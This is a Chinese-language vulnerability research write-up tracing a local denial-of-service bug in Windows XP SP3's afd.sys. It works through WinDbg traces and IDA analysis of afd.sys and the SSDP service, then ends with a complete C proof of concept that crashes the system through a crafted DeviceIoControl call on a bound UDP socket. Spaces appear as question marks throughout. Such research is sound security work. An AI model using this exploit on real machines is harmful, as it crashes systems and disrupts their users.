WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程
标 题: WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程 ? Pic1 2??异常原因探究 上图圈起来的数据都是需要关注的,到这里,我们就要先看一看详细情况,首先看【栈】: Code: kd>?kvn ?#?ChildEBP?RetAddr??Args?to?Child?????????????? 00?b19698cc?8060d5a4?8060d550?b1969a14?b246db47?nt!ExRaiseDatatypeMisalignment+0xa?(FPO:?[0,0]) 01?b19698d8?b246db47?5fcaa03a?00000004?00000004?nt!ProbeForWrite+0x54?(FPO:?[Non-Fpo])??//# 02?b1969a14?805768eb?821c45d0?00000001?00f3fd20?afd!AfdFastIoDeviceControl+0x4a9?(FPO:?[Non-Fpo])?//# 03?b1969ac4?8056f4de?00000230?00000000?00000000?nt!IopXxxControlFile+0x261?(FPO:?[Non-Fpo]) ***?ERROR:?Symbol?file?could?not?be?found.??Defaulted?to?export?symbols?for?IOCTL_fuzzer.sys?-? 04?b1969af8?b16dfed5?00000230?00000000?00000000?nt!NtDeviceIoControlFile+0x2a?(FPO:?[Non-Fpo])?//# WARNING:?Stack?unwind?information?not?available.?Following?frames?may?be?wrong. 05?b1969b8c?b16e05c3?00000001?00000230?00000000?IOCTL_fuzzer+0x4ed5 06?b1969c80?b16e0b9b?00000001?824a4380?00000230?IOCTL_fuzzer+0x55c3 07?b1969d34?8053e658?00000230?000002c0?00000000?IOCTL_fuzzer+0x5b9b 08?b1969d34?7c92e514?00000230?000002c0?00000000?nt!KiFastCallEntry+0xf8?(FPO:?[0,0]?TrapFrame?@?b1969d64) 09?00f3fce0?7c92d28a?719c7425?00000230?000002c0?ntdll!KiFastSystemCallRet?(FPO:?[0,0]) 0a?00f3fce4?719c7425?00000230?000002c0?00000000?ntdll!ZwDeviceIoControlFile+0xc?(FPO:?[10,0])?//# 0b?00f3fe78?7c930041?00090718?000bb8e0?0000605d?0x719c7425 0c?00f3ff60?7c947bc5?00000000?000badc8?000bc038?ntdll!RtlFreeHeap+0x1e9?(FPO:?[Non-Fpo]) 0d?00f3ff74?7c947b9c?7c947ae9?00000000?000badc8?ntdll!RtlpApcCallout+0x11?(FPO:?[Non-Fpo]) 0e?00f3ffb4?7c80b729?00000000?00000000?00000000?ntdll!RtlpWorkerThread+0x87?(FPO:?[Non-Fpo]) 0f?00f3ffec?00000000?7c930250?00000000?00000000?0x7c80b729从第1帧可以看到原来是ProbeForWrite函数抛出了Data?misaligned?-?code?80000002这个异常。 难道是这个ProbeForWrite没有放在try/except块中么?(暂且不管),先看一下是什么参数导致了这个一场吧: Code: kd>?.frame?1 01?b19698d8?b246db47?nt!ProbeForWrite+0x54 kd>?dds?b19698d8?L9 b19698d8??b1969a14 b19698dc??b246db47?afd!AfdFastIoDeviceControl+0x4a9 b19698e0??5fcaa03a??//?Address b19698e4??00000004??//?Length b19698e8??00000004??//?Alignment b19698ec??824182a0 b19698f0??821c45d0 b19698f4??b246b030?afd!AfdFastIoDispatch b19698f8??00000000可以看到是地址参数出了问题,0x5fcaa03a。那这个参数是从哪里来的呢? 我首先想到的是去对比NtDeviceIoControlFile传入的InputBuffer,那就去对比一下: Code: kd>?.frame?4 04?b1969af8?b16dfed5?nt!NtDeviceIoControlFile+0x2a kd>?dds?b1969af8?L10 b1969af8??b1969b8c b1969afc??b16dfed5?IOCTL_fuzzer+0x4ed5 b1969b00??00000230??//?FileHandle b1969b04??00000000??//?Event b1969b08??00000000??//?ApcRoutine b1969b0c??00000000??//?IoStatusBlock b1969b10??00f3fd4c??//?ApcContext b1969b14??000120cf??//?IoControlCode b1969b18??00f3fd20??//?InputBuffer b1969b1c??0000002a??//?InputBufferLength b1969b20??00000000??//?OutputBuffer b1969b24??00000000??//?OutputBufferLength b1969b28??805738c1?nt!NtWriteFile+0x607 b1969b2c??b1969be8 b1969b30??b1969c84 b1969b34??805732ba?nt!NtWriteFile传入的InputBuffer并不是我们所期望的0x5fcaa03a,那怎么办?当然是看代码了! 漏洞挖掘是一项综合技能要求很高的技术,知识面越宽越好,为了解决问题能想出的办法越多越好。 漏洞挖掘终归是调试分析四个字,调试分析归结为两项大的技能点:动态调试,静态分析。 动态调试主要目的是发现、重现、验证问题,静态分析作为对调试时候的分析能力缺乏的一种补充,主要目的是发掘问题产生的原因。 因为Windbg在汇编代码的展示方面功能太单一,所以静态分析还是用IDA好了。 先算一下这个ProbeForWrite函数调用在afd.sys模块内的RVA, Code: kd>?lm?m?afd* start????end????????module?name b2469000?b248ad00???afd????????(pdb?symbols)??????????f:kernelsymbolsafd.pdb5A0F2680051E40FCB82FED32C46BC9662afd.pdb kd>??b246db47-b2469000 Evaluate?expression:?19271?=?00004b470x00004b47就是我们要找的RVA了,然后拿出IDA,找到这个地址: Pic2 接下来我们要做的就是回溯一下代码,看看这个参数的源头在哪里,因为这个Functino?Chunk只有一个扇入,所以我们很容易向上找到这个ebp+30h的内容是如何设置的: Pic3 上图中紫色的Chunk中红色框内的代码用C代码来表示就是 Code: RtlCopyMemory(pDst,?ebx,?0x24);其中pDst的值为ebp-50h,而复制的长度为0x24,所以该函数执行完之后,从ebp-50h到ebp-2ch之间的内存都是从ebx处的内存中复制过来的。 其实在这里如果有意识的话,立刻就会想到ebx就是InputBuffer,如何确定这个推测? 最直观的就是通过调试时查看执行到里时ebx的值是否等于NtDeviceIoControlFile的参数InputBuffer,因为在异常发生在ProbeForWrite: Code: kd>?.frame?4 04?b1969af8?b16dfed5?nt!NtDeviceIoControlFile+0x2a kd>?dds?b1969af8?L10 b1969af8??b1969b8c b1969afc??b16dfed5?IOCTL_fuzzer+0x4ed5 b1969b00??00000230??//?FileHandle b1969b04??00000000??//?Event b1969b08??00000000??//?ApcRoutine b1969b0c??00000000??//?IoStatusBlock b1969b10??00f3fd4c??//?ApcContext b1969b14??000120cf??//?IoControlCode b1969b18??00f3fd20??//?InputBuffer b1969b1c??0000002a??//?InputBufferLength b1969b20??00000000??//?OutputBuffer b1969b24??00000000??//?OutputBufferLength b1969b28??805738c1?nt!NtWriteFile+0x607 b1969b2c??b1969be8 b1969b30??b1969c84 b1969b34??805732ba?nt!NtWriteFile kd>??ebx????//?这里只是恰好在发生异常的时候Ebx的值没有被改变,其他情况如果ebx的值被改变了的话,就需要重新启动调试,打好断点然后再查看。 Evaluate?expression:?15990048?=?00f3fd20为了进一步确认,我们还是把内存数据dump出来看看吧: Code: kd>?dd?00f3fd20?LC 00f3fd20??89cf8909?bd625e8e?0a224464?7632e035 00f3fd30??c3de460d?ecd5cffd?ea3d8d76?cba3477a 00f3fd40??5fcaa03a?000bbbc0?000bbbc0?00000103 kd>?.frame?2 02?b1969a14?805768eb?afd!AfdFastIoDeviceControl+0x4a9 kd>?dd?b1969a14-0x50?LC b19699c4??89cf8909?bd625e8e?0a224464?7632e035 b19699d4??c3de460d?ecd5cffd?ea3d8d76?cba3477a b19699e4??5fcaa03a?00000000?e21c8460?822a52c0这证明我们的猜测是没错的,那现在至少知道了触发这个异常所需要的数据:即InputBuffer+0x20处的一个DWORD会被当做用户空间地址去进行可写验证,但是却没有进行异常处理。 认真看文章的同学可能还发现了,在代码下面对ebp+0x34的值也进行了同样的操作,这就对应InputBuffer+0x1c处的DWORD。 刚才说了可以通过调试来找关联,当然也可以通过代码来静态分析其参数来源,我在做的时候因为现场丢失,所以大部分时间都是在静态分析代码。 关于找数据来源,当然是倒推代码执行路径来的方便,结合IDA的选择染色功能,找起来十分方便的,一点经验就是:使用IDA,屏幕越大越好!(每次用的时候都有种想把这14.1的本砸烂的冲动) 现在我们已经具有的关于这个异常的信息是: Code: IoCtlCode?=?0x000120cf; ??DWORD?InputBuffer[9]?=? ??{ ????0x0,?0x0,? ????0x1,????//?关键值?在afd!afdFastDeviceIoControl中进行ProbeForWrite(x,4,4) ????0x1????//?关键值?在afd!afdFastDeviceIoControl中进行ProbeForWrite(x,4) ??};后面呢,还需要一个FileHandle,少了这个DeviceIoControl无法找到目标,所以: Code: kd>?.frame?4 04?b1969af8?b16dfed5?nt!NtDeviceIoControlFile+0x2a kd>?dds?b1969af8?L10 b1969af8??b1969b8c b1969afc??b16dfed5?IOCTL_fuzzer+0x4ed5 b1969b00??00000230 b1969b04??00000000 b1969b08??00000000 b1969b0c??00000000 b1969b10??00f3fd4c b1969b14??000120cf b1969b18??00f3fd20 b1969b1c??0000002a b1969b20??00000000 b1969b24??00000000 kd>?!handle?00000230??????//?查看这个Hande的对象 PROCESS?8221dd08??SessionId:?0??Cid:?0544????Peb:?7ffdb000??ParentCid:?02d8 ????DirBase:?0a2c01a0??ObjectTable:?e16ea9d8??HandleCount:?171. ????Image:?svchost.exe Handle?table?at?e21c8000?with?171?entries?in?use 0230:?Object:?821c45d0??GrantedAccess:?0012019f?(Inherit)?Entry:?e21c8460 Object:?821c45d0??Type:?(825eb040)?File ????ObjectHeader:?821c45b8?(old?version) ????????HandleCount:?1??PointerCount:?3 ????????Directory?Object:?00000000??Name:?Endpoint?{Afd} kd>?dt?_FILE_OBJECT?821c45d0?? ntdll!_FILE_OBJECT ???+0x000?Type?????????????:?0n5 ???+0x002?Size?????????????:?0n112 ???+0x004?DeviceObject?????:?0x824182a0?_DEVICE_OBJECT ???+0x008?Vpb??????????????:?(null)? ???+0x00c?FsContext????????:?0x822a52c0?Void ???+0x010?FsContext2???????:?(null)? ???+0x014?SectionObjectPointer?:?(null)? ???+0x018?PrivateCacheMap??:?0xffffffff?Void ???+0x01c?FinalStatus??????:?0n0 ???+0x020?RelatedFileObject?:?(null)? ???+0x024?LockOperation????:?0?'' ???+0x025?DeletePending????:?0?'' ???+0x026?ReadAccess???????:?0?'' ???+0x027?WriteAccess??????:?0?'' ???+0x028?DeleteAccess?????:?0?'' ???+0x029?SharedRead???????:?0?'' ???+0x02a?SharedWrite??????:?0?'' ???+0x02b?SharedDelete?????:?0?'' ???+0x02c?Flags????????????:?0x40000 ???+0x030?FileName?????????:?_UNICODE_STRING?"Endpoint" ???+0x038?CurrentByteOffset?:?_LARGE_INTEGER?0x0 ???+0x040?Waiters??????????:?0 ???+0x044?Busy?????????????:?0 ???+0x048?LastLock?????????:?(null)? ???+0x04c?Lock?????????????:?_KEVENT ???+0x05c?Event????????????:?_KEVENT ???+0x06c?CompletionContext?:?(null)看起来是个Socket,到这里,漏洞的本地Ddos利用代码已经浮现在脑海了,于是就收拾现场,重新启动写了一个利用代码。 3??利用方法的探究 写Poc代码的时候Socket使用了TCP协议,可是把程序运行起来的时候并没有发生期望的BSOD. 可想而知,因为分析的过程跳过了很多步骤,从afd!AfdFastIoDeviceControl到nt!ProbeForWrite中间的过程完全被忽略了。 而有可能afd!AfdFastIoDeviceControl在中间的过程中做了很多参数检查,由于参数不符合所以程序分支就发生了变化,没有进入预期异常触发点。 无奈,只能继续分析程序执行流程,然后调试修正参数了。 关于这里的分析,我觉得我选择了一个不错的方法,因为我们要到达一个指定的代码片段,所以 1.??先倒推一条从目标代码到函数入口的最短路径,当然要避开明显的错误跳转,在IDA中用颜色A标明这条执行路径; 2.??调试自己的POC代码,找到现有POC代码执行的路径,在IDA中用颜色B标明这条执行路径; 3.??如果调试代码的执行路径和倒推出来的路径重复,就用B覆盖原先的颜色; 4.??如果调试代码的执行路径偏离了倒推出来的路径,那就分析代码查找跳转原因; 5.??修正第4步引起跳转的参数; 6.??然后重复2到5步,直到路径完全被B颜色覆盖。 我在操作过程中形成的颜色路径如下图: Pic4 上图粉红色是倒推路径,紫色是执行时候的路径,我觉得这个方法比较有效。下面回到问题上来了,为什么Poc代码没有走正确的流程呢? 第一个原因在这里 Pic5 esi是什么东西呢?仍然用代码回溯找数据来源的方法,发现,esi是跟socket句柄有关,esi的值就是前面说的socket的FILE_OBJECT中的一个字段FsContext 我们来看一下,发生异常时候这里的值是什么,数据仍然使用前面所述的FILE_OBJECT中的值: Code: kd>?dw?0x822a52c0?L8 822a52c0??afd1?0002?89af?001b?0011?0000?0010?0000能触发异常的值是afd1,而我们写的Poc中确实afd2,应该想到这是因为Socket的类型不对,那怎么才能创建一个FsContext的第一个word是afd1的socket呢? 我采用了一个笨的方法,穷举,就是应用层不改变socket的类型,然后内核调试查看FsContext的内容,苦力活干完后发现: SOCK_STREAM 1.创建后??????afd0 2.连接后??????afd2 3.BIND后????afd0 4.Listen后????afd4 还是很悲剧,没有出现afd1,然后就推测肯定跟协议类型有关了,于是果断换了一个SOCK_DGRAM的UDPsocket,终于这个地方可以顺利执行下去了。 可是后面仍然没有按照预期进入目标代码,经过颜色比对法,分析发现又一处判断: Pic6 这里接着上面刚刚执行完的代码,那我们看看esi+2的地方: Code: kd>?db?0x822a52c0?+2?L8 822a52c2??02?00?af?89?1b?00?11?00预期需要0x02,而poc的值却是01,这个值是什么含义呢?经过上面的穷举方法之后,我不想再用那么笨的办法了。 因为这样下去效率太低,所以我决定网上层走走,看一看正常情况下代码流程是如何进入能够触发遗产的目标代码的。 先看加好符号文件的栈: Code: kd>?kvn ?#?ChildEBP?RetAddr??Args?to?Child?????????????? 00?b1969398?804f8bad?00000003?80000002?00000000?nt!RtlpBreakWithStatusInstruction?(FPO:?[1,0]) 01?b19693e4?804f979a?00000003?00000000?c0400000?nt!KiBugCheckDebugBreak+0x19?(FPO:?[Non-Fpo]) 02?b19697c4?804f9cc5?00000050?80000002?00000000?nt!KeBugCheck2+0x574?(FPO:?[Non-Fpo]) 03?b19697e4?8051dc67?00000050?80000002?00000000?nt!KeBugCheckEx+0x1b?(FPO:?[Non-Fpo]) 04?b1969844?80541554?00000000?80000002?00000000?nt!MmAccessFault+0x8e7?(FPO:?[Non-Fpo]) 05?b1969844?80000002?00000000?80000002?00000000?nt!KiTrap0E+0xcc?(FPO:?[0,0]?TrapFrame?@?b196985c) WARNING:?Frame?IP?not?in?any?known?module.?Following?frames?may?be?wrong. 06?b19698cc?8060d5a4?8060d550?b1969a14?b246db47?0x80000002 07?b19698d8?b246db47?5fcaa03a?00000004?00000004?nt!ProbeForWrite+0x54?(FPO:?[Non-Fpo]) 08?b1969a14?805768eb?821c45d0?00000001?00f3fd20?afd!AfdFastIoDeviceControl+0x4a9?(FPO:?[Non-Fpo]) 09?b1969ac4?8056f4de?00000230?00000000?00000000?nt!IopXxxControlFile+0x261?(FPO:?[Non-Fpo]) 0a?b1969af8?b16dfed5?00000230?00000000?00000000?nt!NtDeviceIoControlFile+0x2a?(FPO:?[Non-Fpo]) 0b?b1969b8c?b16e05c3?00000001?00000230?00000000?IOCTL_fuzzer+0x4ed5 0c?b1969c80?b16e0b9b?00000001?824a4380?00000230?IOCTL_fuzzer+0x55c3 0d?b1969d34?8053e658?00000230?000002c0?00000000?IOCTL_fuzzer+0x5b9b 0e?b1969d34?7c92e514?00000230?000002c0?00000000?nt!KiFastCallEntry+0xf8?(FPO:?[0,0]?TrapFrame?@?b1969d64) 0f?00f3fce0?7c92d28a?719c7425?00000230?000002c0?ntdll!KiFastSystemCallRet?(FPO:?[0,0]) 10?00f3fce4?719c7425?00000230?000002c0?00000000?ntdll!ZwDeviceIoControlFile+0xc?(FPO:?[10,0]) 11?00f3fd84?75ba87f8?00000230?00f3fdb4?00f3fde4?mswsock!MSAFD_WSPRecvMsg+0x15f?(FPO:?[Non-Fpo]) 12?00f3fe10?75ba2aa8?00000230?00f3fe74?00f3fe70?ssdpsrv!SocketReceive+0xcf?(FPO:?[Non-Fpo]) 13?00f3fe8c?7c947e91?000bb8e0?000bad00?000badc8?ssdpsrv!SsdpNetProc+0xab?(FPO:?[Non-Fpo]) 14?00f3fed8?7c94b0a1?75ba29fd?000bb8e0?000bad00?ntdll!RtlpWaitOrTimerCallout+0x73?(FPO:?[Non-Fpo]) 15?00f3fef8?7c947ac2?000badc8?7c99e440?000bc038?ntdll!RtlpAsyncWaitCallbackCompletion+0x25?(FPO:?[Non-Fpo]) 16?00f3ff40?7c947b03?7c94b07c?000badc8?00000000?ntdll!RtlpWorkerCallout+0x70?(FPO:?[Non-Fpo]) 17?00f3ff60?7c947bc5?00000000?000badc8?000bc038?ntdll!RtlpExecuteWorkerRequest+0x1a?(FPO:?[Non-Fpo]) 18?00f3ff74?7c947b9c?7c947ae9?00000000?000badc8?ntdll!RtlpApcCallout+0x11?(FPO:?[Non-Fpo]) 19?00f3ffb4?7c80b729?00000000?00000000?00000000?ntdll!RtlpWorkerThread+0x87?(FPO:?[Non-Fpo]) 1a?00f3ffec?00000000?7c930250?00000000?00000000?kernel32!BaseThreadStart+0x37?(FPO:?[Non-Fpo])从栈中可以看到,整个代码都是从一个Timer回调中发起的。 通过最初的bugcheck我们看到进程是svchost.exe,结合栈中的ssdpsrv这个符号可以确定这个漏洞是SSDP?Discovery服务中存在的。 那我们就来分析一下我们需要的这个socket类型到底什么类型: 用回溯代码的方法,从调用ntdll!ZwDeviceIoControlFile的地方向上找,最终找到了Socket实在ssdpsrv.dll中创建的。 用IDA分析ssdpsrv.dll,在其中搜索SsdpNetProc符号,然后查找引用: Pic7 幸好只有一处引用,分析的工作量就大减了,然后跳过去分析,在ListenOnAllNetWork中有以下代码: Pic8 可以看到程序是把用SsdpNetProc注册了一个等待事件回调,并且eax作为参数传入,那SsdpNetProc是怎么处理eax的呢?socket是否在SsdpNetProc中创建的呢? 进入SsdpNetProc分析,发下以下代码: pic9 其中esi就是socket,代码回溯,找到esi其实是第一个参数加偏移0x4 75BA2A0B?058?mov?????ebx,?[ebp+arg_0] 75BA2A5B?060?mov?????esi,?[ebx+4] 代码中就一直使用了esi保存socket,这个不关心,因为知道了socket不是在SsdpNetProc创建的,那就继续回到ListenOnAllNetWork函数进行分析。 回溯查到eax+0x4的地址是何时赋值的。 Pic10 找到socket的值是从lpMem+0x20h处传入的,lpMem是一个全局变量,这说明socket的创建在再往上一帧的函数里完成的,同样找ListenOnAllNetWork的引用。 Pic11 有两处,但是我们根据符号的意义可知,初始化应该在SssdpMain函数中创建,所以继续跳入SssdpMain函数: Pic12 但是SssdpMain函数可读性太差了,这时候要换个思路了,创建socket,一定是调用了socket函数,那我们看看一看ssdpsrv.dll的导入表,找找看所有引用socket的地方。 pic13 其实只有两处引用,然后分别在对这两个函数所在的函数查找引用,就会发现在SssdpMain函数中调用了GetNetworks函数,而后又调用了ListenOnAllNetWork函数, 所以推测可能在GetNetworks函数中完成了对lpMem+0x20h的赋值,然后对GetNetworks分析: pic14 到这里其实已经知道了我们所需要的socket就是在SocketOpen函数中创建的,那就去看看是如何创建的吧: Pic15 由以上分析可知创建一个UDP的socket,然后bind到一个地址就行了,所有的分析到这里就结束了,下面用我们所掌握的信息来写Poc代码,并进行验证。 4??Poc代码的编写 Code: /************************************************************* ?* ?*?afd.sys?LocalDDos?proof?of?concept ?*?tishion#163.com ?*?2013/03/17 ?* *************************************************************/ #include?<tchar.h> #include?<stdio.h> #include?"winsock2.h" #pragma?comment(lib,?"Ws2_32.lib") void?_tmain()? { ??WSADATA?wsaData; ??int?iResult?=?WSAStartup(MAKEWORD(2,2),?&wsaData); ??if?(iResult?!=?NO_ERROR) ??{ ????_tprintf(_T("Error?at?WSAStartup()n")); ??} ??SOCKET?Socket; ??Socket?=?socket(AF_INET,?SOCK_DGRAM,?0); ??if?(Socket?==?INVALID_SOCKET)? ??{ ????_tprintf(_T("Error?at?socket():?%ldn"),?WSAGetLastError()); ????WSACleanup(); ????return; ??} ??sockaddr_in?service; ??service.sin_family?=?AF_INET; ??service.sin_addr.s_addr?=?inet_addr("127.0.0.1"); ??service.sin_port?=?htons(27015); ??if?(SOCKET_ERROR?==?bind(Socket,?(SOCKADDR*)?&service,?sizeof(service)))? ??{ ????_tprintf(_T("Error?at?bind():?%ldn"),?WSAGetLastError()); ????closesocket(Socket); ????WSACleanup(); ????return; ??} ??DWORD?dwBytesReturned?=?0; ??DWORD?InputBuffer[9]?=? ??{ ????0x0,??//?关键值?在afd!afdFastDeviceIoControl中把这个值传入ProbeForWrite(x,x,x) ????0x1????//?关键值?在afd!afdFastDeviceIoControl中把这个值传入ProbeForWrite(x,x) ??}; ??BOOL?bRet?=?DeviceIoControl((HANDLE)Socket,?0x000120cf,?&InputBuffer,?0x24,?NULL,?0,?&dwBytesReturned,?NULL); ??////////////////////////////////////////////////////////////////////////// ??//?后面的代码没机会执行了,因为已经BSOD了 ??//?本着一个合格的程序员专业精神,还是把收尾工作的代码写好 ?? ??closesocket(Socket); ??WSACleanup(); ??return; }看一下效果:) (编辑:淮北站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |